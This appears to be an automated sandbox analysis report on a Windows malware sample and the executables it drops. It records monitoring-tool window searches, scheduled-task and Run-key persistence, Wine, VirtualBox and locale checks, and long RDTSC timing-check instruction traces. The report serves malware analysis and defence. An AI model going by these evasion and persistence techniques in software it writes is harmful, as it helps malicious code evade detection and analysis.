Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cda9e1cbbc.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cda9e1cbbc.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e0dbbf79bf.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e0dbbf79bf.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

19_2_004195E0

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_19-82142

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 53F302 second address: 53F333 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE1C0EF51FEh 0x00000008 jmp 00007FE1C0EF51F8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007FE1C0EF51ECh 0x00000018 jbe 00007FE1C0EF51E6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 53F333 second address: 53EBB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FE1C0B69E36h 0x00000009 jp 00007FE1C0B69E36h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 clc 0x00000014 push dword ptr [ebp+122D0029h] 0x0000001a cld 0x0000001b call dword ptr [ebp+122D3A5Fh] 0x00000021 pushad 0x00000022 clc 0x00000023 xor eax, eax 0x00000025 clc 0x00000026 mov edx, dword ptr [esp+28h] 0x0000002a add dword ptr [ebp+122D21FFh], ebx 0x00000030 mov dword ptr [ebp+122D2CAFh], eax 0x00000036 mov dword ptr [ebp+122D21FFh], ebx 0x0000003c mov esi, 0000003Ch 0x00000041 pushad 0x00000042 mov ecx, dword ptr [ebp+122D2933h] 0x00000048 mov dword ptr [ebp+122D2D39h], esi 0x0000004e popad 0x0000004f jp 00007FE1C0B69E3Ch 0x00000055 sub dword ptr [ebp+122D2D39h], edi 0x0000005b add esi, dword ptr [esp+24h] 0x0000005f clc 0x00000060 lodsw 0x00000062 jmp 00007FE1C0B69E41h 0x00000067 add eax, dword ptr [esp+24h] 0x0000006b jmp 00007FE1C0B69E46h 0x00000070 jmp 00007FE1C0B69E3Eh 0x00000075 mov ebx, dword ptr [esp+24h] 0x00000079 pushad 0x0000007a call 00007FE1C0B69E3Ah 0x0000007f mov esi, dword ptr [ebp+122D2A03h] 0x00000085 pop eax 0x00000086 jmp 00007FE1C0B69E47h 0x0000008b popad 0x0000008c push eax 0x0000008d pushad 0x0000008e push eax 0x0000008f push edx 0x00000090 jmp 00007FE1C0B69E40h 0x00000095 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 53EBB6 second address: 53EBBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 694070 second address: 694076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 694076 second address: 694088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C0EF51EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6A9C7D second address: 6A9C83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6A9C83 second address: 6A9C87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6A9C87 second address: 6A9C90 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6A9C90 second address: 6A9C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C0EF51EAh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6A9C9F second address: 6A9CAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FE1C0B69E36h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6A9CAB second address: 6A9CAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6A9F72 second address: 6A9F78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6AA0B6 second address: 6AA0D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0EF51F9h 0x00000009 jne 00007FE1C0EF51E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6AA0D9 second address: 6AA0F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FE1C0B69E3Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6AA0F1 second address: 6AA0FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6AA22C second address: 6AA23B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jne 00007FE1C0B69E3Eh 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6AA38C second address: 6AA39A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6AA39A second address: 6AA39E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6AA39E second address: 6AA3A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6AA3A8 second address: 6AA3AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6AC724 second address: 6AC728 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6AC728 second address: 6AC770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ecx 0x0000000c jmp 00007FE1C0B69E3Bh 0x00000011 pop ecx 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007FE1C0B69E46h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d pushad 0x0000001e jmp 00007FE1C0B69E3Fh 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6AC770 second address: 6AC774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6AC774 second address: 6AC7B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+122D2AB3h] 0x00000011 add dword ptr [ebp+122D3A99h], ecx 0x00000017 lea ebx, dword ptr [ebp+12441537h] 0x0000001d mov dword ptr [ebp+122D3AC7h], edx 0x00000023 mov cx, ax 0x00000026 xchg eax, ebx 0x00000027 pushad 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6AC7B0 second address: 6AC7C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edi 0x0000000e js 00007FE1C0EF51ECh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CD9ED second address: 6CD9FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007FE1C0B69E36h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CD9FC second address: 6CDA02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CDA02 second address: 6CDA12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FE1C0B69E36h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CDA12 second address: 6CDA37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FE1C0EF51F5h 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CDA37 second address: 6CDA3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CDA3C second address: 6CDA61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE1C0EF51F0h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FE1C0EF51ECh 0x0000000f popad 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CB7EA second address: 6CB7EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CB7EE second address: 6CB804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE1C0EF51E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push esi 0x0000000e jnp 00007FE1C0EF51ECh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CB804 second address: 6CB80B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CBD16 second address: 6CBD28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a je 00007FE1C0EF51E6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CBFD5 second address: 6CC004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jnp 00007FE1C0B69E36h 0x0000000e popad 0x0000000f jmp 00007FE1C0B69E3Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 jmp 00007FE1C0B69E3Fh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CC004 second address: 6CC00A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CC2BD second address: 6CC2C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CC2C2 second address: 6CC2C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CC75C second address: 6CC776 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E45h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CCA9D second address: 6CCAA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CCAA3 second address: 6CCACA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c jc 00007FE1C0B69E36h 0x00000012 pop ebx 0x00000013 jmp 00007FE1C0B69E44h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CCACA second address: 6CCAE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0EF51F0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CCAE0 second address: 6CCAE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CD2DF second address: 6CD2E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CD2E3 second address: 6CD2ED instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE1C0B69E36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CD452 second address: 6CD45A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CD45A second address: 6CD485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnc 00007FE1C0B69E38h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FE1C0B69E48h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CD88E second address: 6CD894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CD894 second address: 6CD898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6CD898 second address: 6CD89C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D0CB2 second address: 6D0CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D0E1D second address: 6D0E34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D0E34 second address: 6D0E53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E40h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D0E53 second address: 6D0E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FE1C0EF51F7h 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D0E7C second address: 6D0E82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D0E82 second address: 6D0E86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D0E86 second address: 6D0EA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d jg 00007FE1C0B69E38h 0x00000013 pushad 0x00000014 push eax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D109D second address: 6D10A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D4729 second address: 6D472F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D472F second address: 6D474B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FE1C0EF51F2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D7DEA second address: 6D7E01 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FE1C0B69E3Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6A183D second address: 6A1841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6D7437 second address: 6D743E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
